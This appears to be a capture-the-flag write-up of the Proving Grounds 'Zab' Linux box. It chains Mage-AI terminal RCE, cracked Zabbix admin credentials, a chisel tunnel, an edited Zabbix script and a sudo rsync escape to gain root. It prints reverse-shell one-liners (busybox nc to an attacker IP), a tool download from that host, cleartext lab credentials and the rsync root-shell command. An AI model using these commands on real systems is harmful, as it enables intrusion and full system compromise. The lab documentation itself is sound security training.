the_open_door
coffee
ESEN

Zab

Proving Grounds PracticeMediumLinux192.168.126.210

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#mage-ai#zabbix#bcrypt#hash-cracking#chisel#port-forwarding#command-injection#sudo#rsync
TL;DR. Mage-AI on 6789 with a native terminal that runs commands as www-data, Zabbix credentials in /etc/zabbix/web/zabbix.conf.php, admin bcrypt cracked with rockyou, Zabbix panel in maintenance mode except from localhost (reached by pivoting with chisel), abusing Zabbix scripts (the Detect operating system script runs on the server as zabbix; we edit its command into a reverse) to jump to zabbix, and sudo rsync as the final vector to root via GTFOBins.

Recon

Initial scan

The port scan opens three ports, two of them HTTP:

ping -c 1 192.168.126.210     # ttl=61 → Linux
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.126.210
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6789/tcp open  http
nmap -p22,80,6789 -sCV 192.168.126.210
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp   open  http    Apache httpd 2.4.52 (default page)
6789/tcp open  http    Tornado httpd 6.3.3

HTTP - TCP 80

The root of port 80 is Apache's default Ubuntu page, but probing known paths, /zabbix/index.php answers with a notice: "Zabbix is under maintenance". Zabbix ships a maintenance mode gated by an IP allowlist: non-allowlisted addresses get that banner and the login is hidden. This detail matters later (it is why we will have to pivot to appear as localhost).

http://192.168.126.210/zabbix/index.php shows "Zabbix is under maintenance"

HTTP - TCP 6789 (Mage-AI)

Port 6789 serves Mage-AI (Tornado), a web IDE for data pipelines. The dashboard confirms version v0.9.75 and, more importantly, Mage-AI ships with an interactive terminal by design at /terminal. With no auth in front, it is straight RCE.

Mage-AI v0.9.75 dashboard on port 6789

Shell as www-data

Mage-AI - native-terminal RCE

Before triggering the shell, we set up an nc listener:

nc -nlvp 4444

Browsing to /terminal in the panel opens a shell directly on the server. Fire a reverse:

busybox nc 192.168.45.201 4444 -e bash

Mage-AI terminal running the reverse

www-data@zab:~/html$ cat local.txt
788e683a708d4360281ea8a11bc14af1

local.txt as www-data

Shell as zabbix (user pivoting)

MySQL credentials in zabbix.conf.php

The hostname (zab) and the Apache on 80 suggest Zabbix is around even if the root does not respond. We look for the install:

find / -name zabbix 2>/dev/null
cd /etc/zabbix/web
cat zabbix.conf.php | grep -i pass -B 3
mysql -u zabbix -pbreadandbuttereater121

find locates /etc/zabbix; in zabbix.conf.php the DB PASSWORD key is breadandbuttereater121 and we log into MySQL with it

www-data@zab:/etc/zabbix/web$ cat zabbix.conf.php | grep -i pass -B 3
$DB['PORT']     = '0';
$DB['DATABASE'] = 'zabbix';
$DB['USER']     = 'zabbix';
$DB['PASSWORD'] = 'breadandbuttereater121';
www-data@zab:/etc/zabbix/web$ mysql -u zabbix -pbreadandbuttereater121
Welcome to the MySQL monitor.  Commands end with ; or \g.
Server version: 8.0.41-0ubuntu0.22.04.1 (Ubuntu)

The Zabbix web file stores the DB connection creds in cleartext. With them we hit MySQL and pull the users table with the Zabbix panel admin hashes.

bcrypt hashes of Zabbix admin

mysql> select * from users;
| userid | username | ...  | passwd
|      1 | Admin    | ...  | $2y$10$KA6iPN5sY5.Z4KLerN7XOOO1P7jR8MD2e0SqNRXOsJjV1b.8c5Si.
|      2 | guest    | ...  | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06
2 rows in set (0.00 sec)

The users table in the zabbix database stores the bcrypt hash of Admin ($2y$10$KA6iPN5sY5...).

Cracking the bcrypt

The $2y$ prefix identifies bcrypt, an algorithm slow by design, so we crack it by dictionary and let it run:

john --wordlist=/usr/share/wordlists/rockyou.txt hash

John recovers "dinosaur"

dinosaur         (Admin)

Zabbix in maintenance except from localhost - chisel

Using curl from the box itself confirms the recon hunch: from localhost, /zabbix/ does NOT show the maintenance banner but the panel's login form. Zabbix's maintenance mode is filtered by IP and 127.0.0.1 is on the allowlist.

curl localhost/zabbix/ | grep -i login --color

curl localhost/zabbix/ returns the login form, not maintenance

www-data@zab:/etc/zabbix/web$ curl localhost/zabbix/ | grep -i login --color
...<div class="signin-container">...<label for="password">Password</label>
<input type="password" id="password" name="password" ...>...autologin...

To present ourselves as localhost from the attacker's browser we set up a port forward with chisel. We push the binary to the target (HTTP server on the attacker, wget on the victim):

# attacker
python3 -m http.server 80
# victim
wget http://192.168.45.201/chisel
chmod +x chisel

victim: wget downloads chisel from the attacker and chmod +x

$ locate chisel | head -n 2
/home/krmena/Downloads/chisel_1.11.3_linux_amd64.gz
/home/krmena/tools/chisel

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.126.210 - - [08/Mar/2026 02:10:07] "GET /chisel HTTP/1.1" 200 -

www-data@zab:/tmp$ wget http://192.168.45.201/chisel
--2026-03-08 02:10:05--  http://192.168.45.201/chisel
Connecting to 192.168.45.201:80 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 8077312 (7.7M) [application/octet-stream]
Saving to: 'chisel.1'

2026-03-08 02:10:34 (277 KB/s) - 'chisel.1' saved [8077312/8077312]

www-data@zab:/tmp$ chmod +x chisel

On the attacker we start a chisel server in reverse mode and open a client with R:80 on the target (all local HTTP on the target is exposed on the attacker's port 80):

# attacker
chisel server --reverse -p 1234
# victim
./chisel client 192.168.45.201:1234 R:80

chisel reverse tunnel up

2026/03/08 02:12:38 server: Reverse tunnelling enabled
2026/03/08 02:12:38 server: Fingerprint WO3BbJZbq777Qg4phecwEEwDD4Mhmk0JoMdpA1p0TEo=
2026/03/08 02:12:38 server: Listening on http://0.0.0.0:1234
2026/03/08 02:12:52 server: session#1: tun: proxy#R:80=>80: Listening

The tunnel is up: the client's R:80 exposes the target's local HTTP on the attacker's port 80. Now http://localhost/zabbix/index.php on the attacker maps to the target's local panel, where we log in with Admin / dinosaur.

Zabbix panel login over the tunnel with Admin / dinosaur

RCE via Zabbix scripts - shell as zabbix

As Admin we hold the super-admin role. Under Alerts → Scripts Zabbix lets you define scripts of type Script that run on the Zabbix server itself ("Execute on: Zabbix server/proxy") as the system user running the daemon, i.e. zabbix. There is a pre-existing one, "Detect operating system", whose command is:

sudo /usr/bin/nmap -O {HOST.CONN}

Alerts &gt; Scripts: "Detect operating system" runs sudo /usr/bin/nmap -O {HOST.CONN} on the server

That script actually has two possible abuses. The first is a classic injection: the {HOST.CONN} macro is the address of the host it runs against, controlled by us when we create a host, so a name with metacharacters would inject commands into the sudo nmap. The second, more direct, is that as Admin we can edit the script body itself: swap the command for a reverse shell and run it as-is.

We stand up the listener first. With Penelope we reuse the www-data session and add a listener on 5555:

penelope
# (Penelope)> listeners add -p 5555

Penelope: listeners add -p 5555 listening

www-data@zab:/tmp$ ./chisel client 192.168.45.201:1234 R:80
2026/03/08 02:12:50 client: Connecting to ws://192.168.45.201:1234
2026/03/08 02:12:50 client: Connected (Latency 31.059236ms)

[!] Session detached

(Penelope)-(Session [1])> listeners add -p 5555
[+] Listening for reverse shells on 0.0.0.0:5555  ->  127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 192.168.45.201

We edit the "Detect operating system" script command and replace it with the reverse (no sudo, so it runs as zabbix), then click Update:

busybox nc 192.168.45.201 5555 -e bash

Script editor: Commands = busybox nc 192.168.45.201 5555 -e bash

The script is a "Manual host action", so it is triggered from Monitoring → Latest data, on any monitored host:

Monitoring &gt; Latest data in the Zabbix panel

In the host context menu, Scripts → Detect operating system runs the command on the server:

Host menu: Scripts &gt; Detect operating system

The reverse lands in Penelope as user zabbix:

Second reverse as zabbix

(Penelope)─(Session [1])> listeners add -p 5555
[+] Got reverse shell from zab~192.168.126.210-Linux-x86_64  Assigned SessionID <2>
zabbix@zab:/$ whoami
zabbix

Privilege Escalation

sudo rsync → root

sudo -l shows zabbix can run rsync as root with no password:

sudo -l

sudo -l: (ALL : ALL) NOPASSWD: /usr/bin/rsync

User zabbix may run the following commands on zab:
    (ALL : ALL) NOPASSWD: /usr/bin/rsync

rsync is in GTFOBins: -e takes an arbitrary shell for the "remote", so a fake target plus sh -c redirecting stdin/stdout to the same tty gives an interactive shell.

rsync GTFOBins: rsync -e '/bin/sh -c "/bin/sh 0&lt;&amp;2 1&gt;&amp;2"' x:x

sudo rsync -e '/bin/sh -c "/bin/sh 0<&2 1>&2"' x:x
# id -> uid=0(root)

root shell via sudo rsync

zabbix@zab:/$ sudo rsync -e '/bin/sh -c "/bin/sh 0<&2 1>&2"' x:x
# whoami
root

The fake target fires the -e and drops us into an interactive shell as root.

Proof.txt

# cat /root/proof.txt
fd745a6191ad97b6a85067cdfd7e51ff

proof.txt as root

Attack chain

Mage-AI :6789 /terminal
  └─ busybox nc → www-data shell
     └─ /etc/zabbix/web/zabbix.conf.php  → mysql zabbix / breadandbuttereater121
        └─ users table -> bcrypt Admin
           └─ john rockyou -> dinosaur
              └─ Zabbix in maintenance except localhost -> chisel reverse R:80
                 └─ Admin / dinosaur -> Alerts > Scripts "Detect operating system"
                    └─ edit Commands = busybox nc ... -e bash -> Latest data -> run -> zabbix shell
                       └─ sudo -l -> rsync -> sudo rsync -e /bin/sh ... -> root

Lessons learned

  • An IDE that ships a "native terminal" is RCE by design; treat it as an admin surface, not as an editor.
  • Web-app configs with mysql_pass in cleartext (zabbix.conf.php, wp-config.php, configuration.php) remain the most profitable mine in post-exploitation.
  • A "hidden" service on localhost is an exposed port the moment RCE lands in any local process; port forwarding via chisel (or ssh -L) is literally the equivalent of the flaw.
  • In Zabbix, scripts of type Script that run "on the server" execute arbitrary commands as the daemon user: an Admin can edit their body and turn them into direct RCE. On top of that, any macro ({HOST.CONN}, {HOSTNAME}, {$USER_MACRO}) a user controls and that is concatenated into the command is a potential injection.
  • sudo -l is always the first step after landing as a user. With GTFOBins binaries (rsync, find, awk, less), the escalation is almost mechanical.
Command cheatsheet 9 commands

Quick review